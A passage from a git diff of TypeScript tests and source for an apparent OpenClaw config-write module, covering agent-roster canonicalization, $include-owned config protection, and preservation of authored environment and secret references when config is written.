true, tools: { allow: ["read", "new"] } }, + }, + }, + }, + }) as OpenClawConfig; + + expect(persisted.agents?.entries?.main?.tools?.allow).toEqual(["${PRIMARY_TOOL}", "new"]); + }); + + it("preserves authored secret references in unchanged roster fields", () => { + const identityRef = { source: "env", provider: "default", id: "SSH_IDENTITY" }; + const runtimeMain = { + default: true, + sandbox: { ssh: { identityData: "resolved-private-key" } }, + }; + const sourceMain = { + default: true, + sandbox: { ssh: { identityData: identityRef } }, + }; + const persisted = resolvePersistCandidateForWrite({ + runtimeConfig: { agents: { entries: { main: runtimeMain } } }, + sourceConfig: { agents: { entries: { main: sourceMain } } }, + rootAuthoredConfig: { agents: { entries: { main: sourceMain } } }, + nextConfig: { + agents: { + entries: { + main: runtimeMain, + worker: { workspace: "/srv/worker" }, + }, + }, + }, + }) as OpenClawConfig; + + expect(persisted.agents?.entries?.main?.sandbox?.ssh?.identityData).toEqual(identityRef); + }); + + it("preserves an entry-internal include while atomically adding an agent", () => { + const resolvedMain = { + default: true, + identity: { name: "Main", emoji: "🦞" }, + }; + const persisted = resolvePersistCandidateForWrite({ + runtimeConfig: { agents: { entries: { main: resolvedMain } } }, + sourceConfig: { agents: { entries: { main: resolvedMain } } }, + sourceConfigBeforeMigrations: { agents: { entries: { main: resolvedMain } } }, + rootAuthoredConfig: { + agents: { + entries: { + main: { default: true, identity: { $include: "./identity.json" } }, + }, + }, + }, + nextConfig: { + agents: { + entries: { + main: resolvedMain, + worker: { workspace: "/srv/worker" }, + }, + }, + }, + }) as OpenClawConfig; + + expect(persisted.agents?.entries).toEqual({ + main: { default: true, identity: { $include: "./identity.json" } }, + worker: { workspace: "/srv/worker" }, + }); + }); + + it("preserves an entry-internal include authored in a legacy list while adding an agent", () => { + const resolvedMain = { + id: "main", + default: true, + identity: { name: "Main", emoji: "🦞" }, + }; + const persisted = resolvePersistCandidateForWrite({ + runtimeConfig: { + agents: { entries: { main: { default: true, identity: resolvedMain.identity } } }, + }, + sourceConfig: { + agents: { entries: { main: { default: true, identity: resolvedMain.identity } } }, + }, + sourceConfigBeforeMigrations: { agents: { list: [resolvedMain] } }, + rootAuthoredConfig: { + agents: { + list: [{ id: "main", default: true, identity: { $include: "./identity.json" } }], + }, + }, + nextConfig: { + agents: { + entries: { + main: { default: true, identity: resolvedMain.identity }, + worker: { workspace: "/srv/worker" }, + }, + }, + }, + }) as OpenClawConfig; + + expect(persisted.agents?.list).toBeUndefined(); + expect(persisted.agents?.entries).toEqual({ + main: { default: true, identity: { $include: "./identity.json" } }, + worker: { workspace: "/srv/worker" }, + }); + }); + + it("rejects a roster write when a legacy whole-entry include owns the agent id", () => { + expect(() => + resolvePersistCandidateForWrite({ + runtimeConfig: { agents: { entries: { main: { default: true } } } }, + sourceConfig: { agents: { entries: { main: { default: true } } } }, + sourceConfigBeforeMigrations: { + agents: { list: [{ id: "main", default: true }] }, + }, + rootAuthoredConfig: { + agents: { list: [{ $include: "./main-agent.json" }] }, + }, + nextConfig: { + agents: { + entries: { + main: { default: true }, + worker: { workspace: "/srv/worker" }, + }, + }, + }, + }), + ).toThrow("flatten $include-owned config at agents"); + }); + + it("rejects a roster write that changes an entry-internal included subtree", () => { + const resolvedMain = { + default: true, + identity: { name: "Main", emoji: "🦞" }, + }; + expect(() => + resolvePersistCandidateForWrite({ + runtimeConfig: { agents: { entries: { main: resolvedMain } } }, + sourceConfig: { agents: { entries: { main: resolvedMain } } }, + sourceConfigBeforeMigrations: { agents: { entries: { main: resolvedMain } } }, + rootAuthoredConfig: { + agents: { + entries: { + main: { default: true, identity: { $include: "./identity.json" } }, + }, + }, + }, + nextConfig: { + agents: { + entries: { + main: { default: true, identity: { name: "Changed", emoji: "🦞" } }, + worker: { workspace: "/srv/worker" }, + }, + }, + }, + }), + ).toThrow("flatten $include-owned config at agents.entries.main.identity"); + }); + + it("preserves authored references when an agent id is renamed", () => { + const identityRef = { source: "env", provider: "default", id: "SSH_IDENTITY" }; + const runtimeEntry = { + default: true, + sandbox: { ssh: { identityData: "resolved-private-key" } }, + }; + const sourceEntry = { + default: true, + sandbox: { ssh: { identityData: identityRef } }, + }; + const persisted = resolvePersistCandidateForWrite({ + runtimeConfig: { agents: { entries: { main: runtimeEntry } } }, + sourceConfig: { agents: { entries: { main: sourceEntry } } }, + sourceConfigBeforeMigrations: { + agents: { list: [{ id: "main", ...sourceEntry }] }, + }, + rootAuthoredConfig: { + agents: { list: [{ id: "main", ...sourceEntry }] }, + }, + nextConfig: { agents: { entries: { primary: runtimeEntry } } }, + explicitSetPaths: [["agents", "list", "0", "id"]], + explicitSetValueSource: { + agents: { list: [{ id: "primary", ...runtimeEntry }] }, + }, + }) as OpenClawConfig; + + expect(persisted.agents?.entries?.primary?.sandbox?.ssh?.identityData).toEqual(identityRef); + expect(persisted.agents?.entries?.main).toBeUndefined(); + }); + + it("rejects an env-backed agent rename whose resolved identity is unavailable", () => { + expect(() => + resolvePersistCandidateForWrite({ + runtimeConfig: { agents: { entries: { main: { default: true } } } }, + sourceConfig: { agents: { entries: { main: { default: true } } } }, + sourceConfigBeforeMigrations: { + agents: { list: [{ id: "main", default: true }] }, + }, + rootAuthoredConfig: { + agents: { list: [{ id: "${OLD_AGENT_ID}", default: true }] }, + }, + nextConfig: { agents: { entries: { ops: { default: true } } } }, + explicitSetPaths: [["agents", "list", "0", "id"]], + explicitSetValueSource: { + agents: { list: [{ id: "${NEW_AGENT_ID}", default: true }] }, + }, + }), + ).toThrow("cannot safely resolve an env-backed renamed agent id"); + }); + + it("applies a legacy-list unset to the renamed canonical entry", () => { + const persisted = resolvePersistCandidateForWrite({ + runtimeConfig: { + agents: { entries: { main: { default: true, workspace: "/srv/main" } } }, + }, + sourceConfig: { + agents: { entries: { main: { default: true, workspace: "/srv/main" } } }, + }, + sourceConfigBeforeMigrations: { + agents: { list: [{ id: "main", default: true, workspace: "/srv/main" }] }, + }, + rootAuthoredConfig: { + agents: { list: [{ id: "main", default: true, workspace: "/srv/main" }] }, + }, + nextConfig: { agents: { entries: { primary: { default: true } } } }, + explicitSetPaths: [["agents", "list", "0", "id"]], + explicitSetValueSource: { + agents: { list: [{ id: "primary", default: true }] }, + }, + unsetPaths: [["agents", "list", "0", "workspace"]], + }) as OpenClawConfig; + + expect(persisted.agents?.entries).toEqual({ primary: { default: true } }); + }); + + it("applies an indexed unset after an explicit legacy-list reorder with a resolved id", () => { + const persisted = resolvePersistCandidateForWrite({ + runtimeConfig: { + agents: { + entries: { + main: { default: true, workspace: "/srv/main" }, + worker: { workspace: "/srv/worker" }, + }, + }, + }, + sourceConfig: { + agents: { + list: [ + { id: "main", default: true, workspace: "/srv/main" }, + { id: "worker", workspace: "/srv/worker" }, + ], + }, + }, + sourceConfigBeforeMigrations: { + agents: { + list: [ + { id: "main", default: true, workspace: "/srv/main" }, + { id: "worker", workspace: "/srv/worker" }, + ], + }, + }, + rootAuthoredConfig: { + agents: { + list: [ + { id: "main", default: true, workspace: "/srv/main" }, + { id: "${WORKER_ID}", workspace: "/srv/worker" }, + ], + }, + }, + nextConfig: { + agents: { + entries: { + worker: {}, + main: { default: true, workspace: "/srv/main" }, + }, + }, + }, + explicitSetPaths: [["agents", "list"]], + explicitSetValueSource: { + agents: { + list: [{ id: "${WORKER_ID}" }, { id: "main", default: true, workspace: "/srv/main" }], + }, + }, + unsetPaths: [["agents", "list", "0", "workspace"]], + }) as OpenClawConfig; + + expect(persisted.agents?.entries).toEqual({ + worker: {}, + main: { default: true, workspace: "/srv/main" }, + }); + }); + + it("removes the explicitly reordered list slot instead of the surviving agent", () => { + const persisted = resolvePersistCandidateForWrite({ + runtimeConfig: { + agents: { + entries: { + main: { default: true }, + "0": { workspace: "/srv/worker" }, + }, + }, + }, + sourceConfig: { + agents: { + list: [ + { id: "main", default: true }, + { id: "0", workspace: "/srv/worker" }, + ], + }, + }, + rootAuthoredConfig: { + agents: { + list: [ + { id: "main", default: true }, + { id: "0", workspace: "/srv/worker" }, + ], + }, + }, + nextConfig: { agents: { entries: { main: { default: true } } } }, + explicitSetPaths: [["agents", "list"]], + explicitSetValueSource: { + agents: { + list: [ + { id: "0", workspace: "/srv/worker" }, + { id: "main", default: true }, + ], + }, + }, + unsetPaths: [["agents", "list", "0"]], + }) as OpenClawConfig; + + expect(persisted.agents?.entries).toEqual({ main: { default: true } }); + }); + + it("rejects an unprovable newly introduced environment-backed id", () => { + expect(() => + resolvePersistCandidateForWrite({ + runtimeConfig: { + agents: { + entries: { + main: { default: true }, + worker_id: { workspace: "/srv/existing" }, + }, + }, + }, + sourceConfig: { + agents: { + list: [ + { id: "main", default: true }, + { id: "worker_id", workspace: "/srv/existing" }, + ], + }, + }, + rootAuthoredConfig: { + agents: { + list: [ + { id: "main", default: true }, + { id: "worker_id", workspace: "/srv/existing" }, + ], + }, + }, + nextConfig: { + agents: { + entries: { + "new-worker": {}, + worker_id: { workspace: "/srv/existing" }, + main: { default: true }, + }, + }, + }, + explicitSetPaths: [["agents", "list"]], + explicitSetValueSource: { + agents: { + list: [ + { id: "${WORKER_ID}" }, + { id: "worker_id", workspace: "/srv/existing" }, + { id: "main", default: true }, + ], + }, + }, + unsetPaths: [["agents", "list", "0", "workspace"]], + }), + ).toThrow("cannot safely resolve an explicitly replaced agent list slot"); + }); + + it("rejects an indexed unset across duplicate explicit list ids", () => { + expect(() => + resolvePersistCandidateForWrite({ + runtimeConfig: { agents: { entries: { worker: { workspace: "/old" } } } }, + sourceConfig: { agents: { list: [{ id: "worker", workspace: "/old" }] } }, + sourceConfigBeforeMigrations: { + agents: { list: [{ id: "worker", workspace: "/old" }] }, + }, + rootAuthoredConfig: { + agents: { list: [{ id: "${WORKER_ID}", workspace: "/old" }] }, + }, + nextConfig: { agents: { entries: { worker: { workspace: "/second" } } } }, + explicitSetPaths: [["agents", "list"]], + explicitSetValueSource: { + agents: { + list: [ + { id: "${WORKER_ID}", workspace: "/first" }, + { id: "worker", workspace: "/second" }, + ], + }, + }, + unsetPaths: [["agents", "list", "0"]], + }), + ).toThrow('cannot canonicalize duplicate normalized agent id "worker"'); + }); + + it("rejects duplicate normalized ids before canonicalizing a legacy roster", () => { + const nextConfig = { + agents: { + list: [ + { id: "Ops", workspace: "/first" }, + { id: " ops ", workspace: "/second" }, + ], + }, + }; + const before = structuredClone(nextConfig); + + expect(() => + resolvePersistCandidateForWrite({ + runtimeConfig: {}, + sourceConfig: {}, + nextConfig, + explicitSetPaths: [["agents", "list"]], + explicitSetValueSource: nextConfig, + }), + ).toThrowError( + expect.objectContaining({ + name: "DuplicateAgentRosterIdError", + message: 'Config write cannot canonicalize duplicate normalized agent id "ops".', + }), + ); + expect(nextConfig).toEqual(before); + }); + + it("rejects duplicate normalized ids in an explicit legacy-list value source", () => { + expect(() => + resolvePersistCandidateForWrite({ + runtimeConfig: { agents: { entries: { main: { default: true } } } }, + sourceConfig: { agents: { entries: { main: { default: true } } } }, + sourceConfigBeforeMigrations: { + agents: { list: [{ id: "main", default: true }] }, + }, + rootAuthoredConfig: { + agents: { list: [{ id: "main", default: true }] }, + }, + nextConfig: { agents: { entries: { main: { default: true } } } }, + explicitSetPaths: [["agents", "list"]], + explicitSetValueSource: { + agents: { + list: [{ id: "Ops", default: true }, { id: " ops " }], + }, + }, + }), + ).toThrowError( + expect.objectContaining({ + name: "DuplicateAgentRosterIdError", + message: 'Config write cannot canonicalize duplicate normalized agent id "ops".', + }), + ); + }); + + it("keys legacy authored references by the pre-migration resolved agent id", () => { + const identityRef = { source: "env", provider: "default", id: "SSH_IDENTITY" }; + const runtimeEntry = { + default: true, + sandbox: { ssh: { identityData: "resolved-private-key" } }, + }; + const sourceEntry = { + default: true, + sandbox: { ssh: { identityData: identityRef } }, + }; + const persisted = resolvePersistCandidateForWrite({ + runtimeConfig: { agents: { entries: { main: runtimeEntry } } }, + sourceConfig: { agents: { entries: { main: sourceEntry } } }, + sourceConfigBeforeMigrations: { + agents: { list: [{ id: "main", ...sourceEntry }] }, + }, + rootAuthoredConfig: { + agents: { list: [{ id: "${AGENT_ID}", ...sourceEntry }] }, + }, + nextConfig: { + agents: { + entries: { + main: runtimeEntry, + worker: { workspace: "/srv/worker" }, + }, + }, + }, + }) as OpenClawConfig; + + expect(persisted.agents?.entries?.main?.sandbox?.ssh?.identityData).toEqual(identityRef); + }); + + it("rejects ambiguous one-for-one replacements with authored references", () => { + const identityRef = { source: "env", provider: "default", id: "SSH_IDENTITY" }; + expect(() => + resolvePersistCandidateForWrite({ + runtimeConfig: { + agents: { + entries: { + main: { + default: true, + sandbox: { ssh: { identityData: "resolved-private-key" } }, + }, + }, + }, + }, + sourceConfig: { + agents: { + entries: { + main: { default: true, sandbox: { ssh: { identityData: identityRef } } }, + }, + }, + }, + rootAuthoredConfig: { + agents: { + entries: { + main: { default: true, sandbox: { ssh: { identityData: identityRef } } }, + }, + }, + }, + nextConfig: { + agents: { + entries: { + worker: { default: true, workspace: "/srv/worker" }, + }, + }, + }, + }), + ).toThrow("cannot safely match renamed agent entries"); + }); + + it("keeps the normalized default when authored legacy input marked it false", () => { + const normalizedEntries = { + main: { default: true }, + ops: { workspace: "/srv/ops" }, + }; + const persisted = resolvePersistCandidateForWrite({ + runtimeConfig: { agents: { entries: normalizedEntries } }, + sourceConfig: { agents: { entries: normalizedEntries } }, + sourceConfigBeforeMigrations: { + agents: { + list: [ + { id: "main", default: false }, + { id: "ops", workspace: "/srv/ops" }, + ], + }, + }, + rootAuthoredConfig: { + agents: { + list: [ + { id: "main", default: false }, + { id: "ops", workspace: "/srv/ops" }, + ], + }, + }, + nextConfig: { + agents: { + entries: { + ...normalizedEntries, + worker: { workspace: "/srv/worker" }, + }, + }, + }, + }) as OpenClawConfig; + + expect(persisted.agents?.entries?.main?.default).toBe(true); + expect( + Object.values(persisted.agents?.entries ?? {}).filter((entry) => entry.default === true), + ).toHaveLength(1); + }); + + it("preserves authored references when roster arrays shift", () => { + const runtimeMain = { + default: true, + tools: { allow: ["read", "old"] }, + }; + const persisted = resolvePersistCandidateForWrite({ + runtimeConfig: { agents: { entries: { main: runtimeMain } } }, + sourceConfig: { agents: { entries: { main: runtimeMain } } }, + rootAuthoredConfig: { + agents: { + entries: { + main: { + default: true, + tools: { allow: ["${PRIMARY_TOOL}", "old"] }, + }, + }, + }, + }, + nextConfig: { + agents: { + entries: { + main: { default: true, tools: { allow: ["new", "read", "old"] } }, + }, + }, + }, + }) as OpenClawConfig; + + expect(persisted.agents?.entries?.main?.tools?.allow).toEqual([ + "new", + "${PRIMARY_TOOL}", + "old", + ]); + }); + + it("does not reuse an authored array reference after its source element was consumed", () => { + const runtimeMain = { + default: true, + tools: { allow: ["a", "b"] }, + }; + const persisted = resolvePersistCandidateForWrite({ + runtimeConfig: { agents: { entries: { main: runtimeMain } } }, + sourceConfig: { agents: { entries: { main: runtimeMain } } }, + rootAuthoredConfig: { + agents: { + entries: { + main: { + default: true, + tools: { allow: ["${TOOL_A}", "${TOOL_B}"] }, + }, + }, + }, + }, + nextConfig: { + agents: { + entries: { + main: { default: true, tools: { allow: ["b", "b"] } }, + }, + }, + }, + }) as OpenClawConfig; + + expect(persisted.agents?.entries?.main?.tools?.allow).toEqual(["${TOOL_B}", "b"]); + }); + + it("translates a legacy list unset before canonicalizing the roster", () => { + const persisted = applyUnsetPathsForWrite( + resolvePersistCandidateForWrite({ + runtimeConfig: { + agents: { + entries: { + main: { default: true }, + worker: { workspace: "/srv/worker" }, + }, + }, + }, + sourceConfig: { + agents: { + list: [ + { id: "main", default: true }, + { id: "worker", workspace: "/srv/worker" }, + ], + }, + }, + rootAuthoredConfig: { + agents: { + list: [ + { id: "main", default: true }, + { id: "worker", workspace: "/srv/worker" }, + ], + }, + }, + nextConfig: { + agents: { + entries: { + main: { default: true }, + worker: { workspace: "/srv/worker" }, + }, + }, + }, + unsetPaths: [["agents", "list", "1"]], + }) as OpenClawConfig, + [["agents", "list", "1"]], + ); + + expect(persisted.agents).toEqual({ entries: { main: { default: true } } }); + }); + + it("rejects unsetting an id inside a legacy list entry", () => { + expect(() => + resolvePersistCandidateForWrite({ + runtimeConfig: { agents: { entries: { main: { default: true } } } }, + sourceConfig: { agents: { entries: { main: { default: true } } } }, + rootAuthoredConfig: { + agents: { list: [{ id: "main", default: true }] }, + }, + nextConfig: { agents: { entries: { main: { default: true } } } }, + unsetPaths: [["agents", "list", "0", "id"]], + }), + ).toThrow("cannot unset an agent id"); + }); + + it("omits canonical entries when the complete legacy list is unset", () => { + const persisted = applyUnsetPathsForWrite( + resolvePersistCandidateForWrite({ + runtimeConfig: { agents: { entries: { main: { default: true } } } }, + sourceConfig: { agents: { entries: { main: { default: true } } } }, + rootAuthoredConfig: { + agents: { list: [{ id: "main", default: true }] }, + }, + nextConfig: { agents: { entries: { main: { default: true } } } }, + unsetPaths: [["agents", "list"]], + }) as OpenClawConfig, + [["agents", "list"]], + ); + + expect(persisted.agents?.list).toBeUndefined(); + expect(persisted.agents?.entries).toBeUndefined(); + }); + + it("does not resurrect an authored roster removed from the complete next config", () => { + const persisted = resolvePersistCandidateForWrite({ + runtimeConfig: { + agents: { + defaults: { workspace: "/srv/default" }, + entries: { main: { default: true } }, + }, + }, + sourceConfig: { + agents: { + defaults: { workspace: "/srv/default" }, + entries: { main: { default: true } }, + }, + }, + rootAuthoredConfig: { + agents: { + defaults: { workspace: "/srv/default" }, + entries: { main: { default: true } }, + }, + }, + nextConfig: { agents: { defaults: { workspace: "/srv/default" } } }, + }) as OpenClawConfig; + + expect(persisted.agents?.entries).toBeUndefined(); + expect(persisted.agents?.defaults?.workspace).toBe("/srv/default"); + }); + + it("allows roster writes beside unrelated root includes using pre-migration provenance", () => { + const persisted = resolvePersistCandidateForWrite({ + runtimeConfig: { agents: { entries: { main: { default: true } } } }, + sourceConfig: { agents: { entries: { main: { default: true } } } }, + sourceConfigBeforeMigrations: { channels: { telegram: { enabled: true } } }, + rootAuthoredConfig: { $include: "./channels.json" }, + nextConfig: { + agents: { + entries: { + main: { default: true }, + worker: { workspace: "/srv/worker" }, + }, + }, + }, + }) as OpenClawConfig; + + expect(persisted).toMatchObject({ + $include: "./channels.json", + agents: { + entries: { + main: { default: true }, + worker: { workspace: "/srv/worker" }, + }, + }, + }); + }); + + it("preserves an authored legacy list when a non-roster field changes", () => { + const list = [ + { id: "main", default: true }, + { id: "ops", workspace: "/srv/ops" }, + ]; + const entries = { + main: { default: true }, + ops: { workspace: "/srv/ops" }, + }; + const persisted = resolvePersistCandidateForWrite({ + runtimeConfig: { agents: { entries }, gateway: { port: 18789 } }, + sourceConfig: { agents: { entries }, gateway: { port: 18789 } }, + rootAuthoredConfig: { agents: { list }, gateway: { port: 18789 } }, + nextConfig: { agents: { entries }, gateway: { port: 19001 } }, + }) as OpenClawConfig; + + expect(persisted.agents?.list).toEqual(list); + expect(persisted.agents).not.toHaveProperty("entries"); + expect(persisted.gateway?.port).toBe(19001); + }); + it("strips transient plugin install records from partial writes", () => { const persisted = applyUnsetPathsForWrite( resolvePersistCandidateForWrite({ @@ -148,7 +1270,11 @@ describe("config io write prepare", () => { alias: "GPT", params: { transport: "sse", openaiWsWarmup: false }, }); - expect(persisted.agents?.list).toEqual([{ id: "main" }, { id: "ops" }]); + expect(persisted.agents?.entries).toEqual({ + main: {}, + ops: {}, + }); + expect(persisted.agents).not.toHaveProperty("list"); }); it("preserves authored Google model params under normalized config keys", () => { @@ -702,38 +1828,32 @@ describe("config io write prepare", () => { expect(persisted.gateway).toEqual({ mode: "local", port: 18789 }); }); - it("allows edits to root-owned siblings beside an include-owned array entry", () => { + it("rejects roster edits beside an include-owned array entry", () => { const mainAgent = { id: "main", workspace: "~/agent" }; - const persisted = resolvePersistCandidateForWrite({ - runtimeConfig: { - agents: { list: [mainAgent, { id: "ops", workspace: "~/ops" }] }, - }, - sourceConfig: { - agents: { list: [mainAgent, { id: "ops", workspace: "~/ops" }] }, - }, - rootAuthoredConfig: { - agents: { - list: [{ $include: "./config/main-agent.json" }, { id: "ops", workspace: "~/ops" }], + expect(() => + resolvePersistCandidateForWrite({ + runtimeConfig: { + agents: { list: [mainAgent, { id: "ops", workspace: "~/ops" }] }, }, - }, - nextConfig: { - agents: { - list: [ - mainAgent, - { id: "ops", workspace: "~/ops-next" }, - { id: "new", workspace: "~/new" }, - ], + sourceConfig: { + agents: { list: [mainAgent, { id: "ops", workspace: "~/ops" }] }, }, - }, - }) as Record; - - expect(persisted.agents).toEqual({ - list: [ - { $include: "./config/main-agent.json" }, - { id: "ops", workspace: "~/ops-next" }, - { id: "new", workspace: "~/new" }, - ], - }); + rootAuthoredConfig: { + agents: { + list: [{ $include: "./config/main-agent.json" }, { id: "ops", workspace: "~/ops" }], + }, + }, + nextConfig: { + agents: { + list: [ + mainAgent, + { id: "ops", workspace: "~/ops-next" }, + { id: "new", workspace: "~/new" }, + ], + }, + }, + }), + ).toThrow("Config write would flatten $include-owned config at agents"); }); it("rejects writes that change include-owned array entries", () => { @@ -750,7 +1870,7 @@ describe("config io write prepare", () => { agents: { list: [{ id: "main", workspace: "~/other-agent" }] }, }, }), - ).toThrow("Config write would flatten $include-owned config at agents.list.0"); + ).toThrow("Config write would flatten $include-owned config at agents"); }); it("rejects array shifts when an included value has a duplicate sibling", () => { @@ -1229,6 +2349,60 @@ describe("config io write prepare", () => { ).toThrow("Config write would flatten $include-owned config at "); }); + it("allows an explicit local leaf override beside a root include", () => { + const sourceConfig = { + agents: { + defaults: { workspace: "/srv/old" }, + entries: { ops: { default: true } }, + }, + }; + + expect( + resolvePersistCandidateForWrite({ + runtimeConfig: sourceConfig, + sourceConfig, + rootAuthoredConfig: { $include: "./agents.json5" }, + nextConfig: sourceConfig, + explicitSetPaths: [["agents", "defaults", "workspace"]], + explicitSetValueSource: { + agents: { defaults: { workspace: "/srv/next" } }, + }, + allowIncludeAncestorExplicitSetPaths: true, + }), + ).toEqual({ + $include: "./agents.json5", + agents: { defaults: { workspace: "/srv/next" } }, + }); + }); + + it("allows an explicit local leaf override below a nested include", () => { + const sourceConfig = { + agents: { + defaults: { workspace: "/srv/old" }, + entries: { ops: { default: true } }, + }, + }; + + expect( + resolvePersistCandidateForWrite({ + runtimeConfig: sourceConfig, + sourceConfig, + rootAuthoredConfig: { agents: { $include: "./agents.json5" } }, + nextConfig: sourceConfig, + explicitSetPaths: [["agents", "defaults", "workspace"]], + explicitSetValueSource: { + agents: { defaults: { workspace: "/srv/next" } }, + }, + allowIncludeAncestorExplicitSetPaths: true, + }), + ).toEqual({ + agents: { + $include: "./agents.json5", + defaults: { workspace: "/srv/next" }, + }, + }); + }); + it("does not restore root $schema when the next config explicitly clears it", () => { const sourceConfig = { $schema: "https://openclaw.ai/config.json", diff --git a/src/config/io.write-prepare.ts b/src/config/io.write-prepare.ts index 93dd09f9f84d..6b5d35b63ea5 100644 --- a/src/config/io.write-prepare.ts +++ b/src/config/io.write-prepare.ts @@ -2,9 +2,17 @@ import { isDeepStrictEqual } from "node:util"; import { normalizeConfiguredProviderCatalogModelId } from "@openclaw/model-catalog-core/provider-model-id-normalization"; import { expectDefined } from "@openclaw/normalization-core"; +import { + hasAgentRosterProperty, + listAgentEntries, + readAgentRosterProperty, + toAgentEntriesRecord, +} from "../agents/agent-scope-config.js"; import { isBlockedObjectKey } from "../infra/prototype-keys.js"; +import { normalizeAgentId } from "../routing/session-key.js"; import { parseConfigPathArrayIndex } from "../shared/path-array-index.js"; import { isRecord } from "../utils.js"; +import { configIncludeOwnsAgentRosterValues } from "./agent-roster-provenance.js"; import { applyMergePatch } from "./merge-patch.js"; import { normalizeAgentModelMapForConfig, normalizeAgentModelRefForConfig } from "./model-input.js"; import type { OpenClawConfig } from "./types.js"; @@ -13,6 +21,40 @@ const OPEN_DM_POLICY_ALLOW_FROM_RE = /^(?[a-z0-9_.-]+)\s*=\s*"open"\s+requires\s+(?[a-z0-9_.-]+)(?:\s+\(or\s+[a-z0-9_.-]+\))?\s+to include "\*"$/i; const MANAGED_CONFIG_UNSET_PATHS = [["plugins", "installs"]] as const; +const AGENT_ROSTER_PATHS = [ + ["agents", "entries"], + ["agents", "list"], +] as const; + +class DuplicateAgentRosterIdError extends Error { + constructor(agentId: string) { + super(`Config write cannot canonicalize duplicate normalized agent id "${agentId}".`); + this.name = "DuplicateAgentRosterIdError"; + } +} + +class UnresolvedAgentRosterIdError extends Error { + constructor(authoredId: string) { + super( + `Config write cannot safely resolve an explicitly replaced agent list slot for id "${authoredId}"; use a resolved literal id before writing the roster.`, + ); + this.name = "UnresolvedAgentRosterIdError"; + } +} + +function assertUniqueNormalizedLegacyRosterIds(value: readonly unknown[]): void { + const normalizedIds = new Set(); + for (const entry of value) { + if (!isRecord(entry) || typeof entry.id !== "string") { + continue; + } + const agentId = normalizeAgentId(entry.id); + if (normalizedIds.has(agentId)) { + throw new DuplicateAgentRosterIdError(agentId); + } + normalizedIds.add(agentId); + } +} type ManifestModelIdNormalizationProvider = { aliases?: Record; @@ -236,7 +278,7 @@ function setPathValue(value: unknown, path: string[], nextValue: unknown): unkno }; } -function pathStartsWith(path: string[], prefix: string[]): boolean { +function pathStartsWith(path: readonly string[], prefix: readonly string[]): boolean { return prefix.length <= path.length && prefix.every((segment, index) => path[index] === segment); } @@ -861,6 +903,8 @@ function injectExplicitlySetPaths(params: { persistedCandidate: unknown; explicitSetPaths?: readonly (readonly string[])[]; rootAuthoredConfig?: unknown; + preserveDescendantIncludes?: boolean; + allowIncludeAncestorExplicitSetPaths?: boolean; }): unknown { if (!params.explicitSetPaths || params.explicitSetPaths.length === 0) { return params.persistedCandidate; @@ -874,7 +918,17 @@ function injectExplicitlySetPaths(params: { const includeOwnedPath = params.rootAuthoredConfig ? findOverlappingIncludeOwnedPath(params.rootAuthoredConfig, [...path]) : undefined; - if (includeOwnedPath) { + const preserveDescendantInclude = + includeOwnedPath && + params.preserveDescendantIncludes === true && + includeOwnedPath.length > path.length && + pathStartsWith(includeOwnedPath, path); + const allowIncludeAncestorOverride = + includeOwnedPath !== undefined && + includeOwnedPath.length < path.length && + pathStartsWith(path, includeOwnedPath) && + params.allowIncludeAncestorExplicitSetPaths === true; + if (includeOwnedPath && !preserveDescendantInclude && !allowIncludeAncestorOverride) { throw new Error( `Config write would flatten $include-owned config at ${formatConfigPath( includeOwnedPath, @@ -897,36 +951,735 @@ function injectExplicitlySetPaths(params: { return next; } -export function resolvePersistCandidateForWrite(params: { +function pathTouchesAgentRoster(path: readonly string[]): boolean { + return AGENT_ROSTER_PATHS.some( + (rosterPath) => pathStartsWith(path, rosterPath) || pathStartsWith(rosterPath, path), + ); +} + +function pathTargetsAgentRoster(path: readonly string[]): boolean { + return AGENT_ROSTER_PATHS.some((rosterPath) => pathStartsWith(path, rosterPath)); +} + +function canCanonicalizeAgentRoster(value: unknown): boolean { + const roster = readAgentRosterProperty(value); + if (!roster) { + return false; + } + if (roster.kind === "list") { + if ( + !Array.isArray(roster.value) || + !roster.value.every((entry) => isRecord(entry) && typeof entry.id === "string") + ) { + return false; + } + assertUniqueNormalizedLegacyRosterIds(roster.value); + return true; + } + return isRecord(roster.value) && Object.values(roster.value).every(isRecord); +} + +function shouldPersistCanonicalAgentRoster(params: { runtimeConfig: unknown; sourceConfig: unknown; nextConfig: unknown; + explicitSetPaths?: readonly (readonly string[])[]; + unsetPaths?: readonly (readonly string[])[]; +}): boolean { + if (!canCanonicalizeAgentRoster(params.nextConfig)) { + return false; + } + if ( + params.explicitSetPaths?.some(pathTouchesAgentRoster) || + params.unsetPaths?.some(pathTouchesAgentRoster) + ) { + return true; + } + const runtimeRoster = toAgentEntriesRecord( + listAgentEntries(params.runtimeConfig as OpenClawConfig), + ); + const sourceRoster = toAgentEntriesRecord( + listAgentEntries(params.sourceConfig as OpenClawConfig), + ); + const nextRoster = toAgentEntriesRecord(listAgentEntries(params.nextConfig as OpenClawConfig)); + return ( + !isDeepStrictEqual(runtimeRoster, nextRoster) && !isDeepStrictEqual(sourceRoster, nextRoster) + ); +} + +type ProjectedRosterValue = { present: false } | { present: true; value: unknown }; + +function containsAuthoredRosterReference(value: unknown): boolean { + if (typeof value === "string") { + return value.includes("${"); + } + if (Array.isArray(value)) { + return value.some(containsAuthoredRosterReference); + } + if (!isRecord(value)) { + return false; + } + if (typeof value.source === "string" && typeof value.id === "string") { + return true; + } + return Object.values(value).some(containsAuthoredRosterReference); +} + +function projectAuthoredRosterValue(params: { + authored: unknown; + authoredPresent: boolean; + explicit: unknown; + explicitPresent: boolean; + explicitPaths: readonly (readonly string[])[]; + path: readonly string[]; + runtime: unknown; + runtimePresent: boolean; + source: unknown; + sourcePresent: boolean; + next: unknown; + nextPresent: boolean; +}): ProjectedRosterValue { + if (!params.nextPresent) { + return { present: false }; + } + const explicitlySet = params.explicitPaths.some((path) => pathStartsWith(params.path, path)); + if (isRecord(params.next)) { + const authored = isRecord(params.authored) ? params.authored : {}; + const explicit = isRecord(params.explicit) ? params.explicit : {}; + const runtime = isRecord(params.runtime) ? params.runtime : {}; + const source = isRecord(params.source) ? params.source : {}; + const value: Record = {}; + for (const [key, nextValue] of Object.entries(params.next)) { + if (isBlockedObjectKey(key)) { + continue; + } + const projected = projectAuthoredRosterValue({ + authored: authored[key], + authoredPresent: Object.hasOwn(authored, key), + explicit: explicit[key], + explicitPresent: Object.hasOwn(explicit, key), + explicitPaths: params.explicitPaths, + path: [...params.path, key], + runtime: runtime[key], + runtimePresent: Object.hasOwn(runtime, key), + source: source[key], + sourcePresent: Object.hasOwn(source, key), + next: nextValue, + nextPresent: true, + }); + if (projected.present) { + value[key] = projected.value; + } + } + return { present: true, value }; + } + if (Array.isArray(params.next)) { + if (explicitlySet && 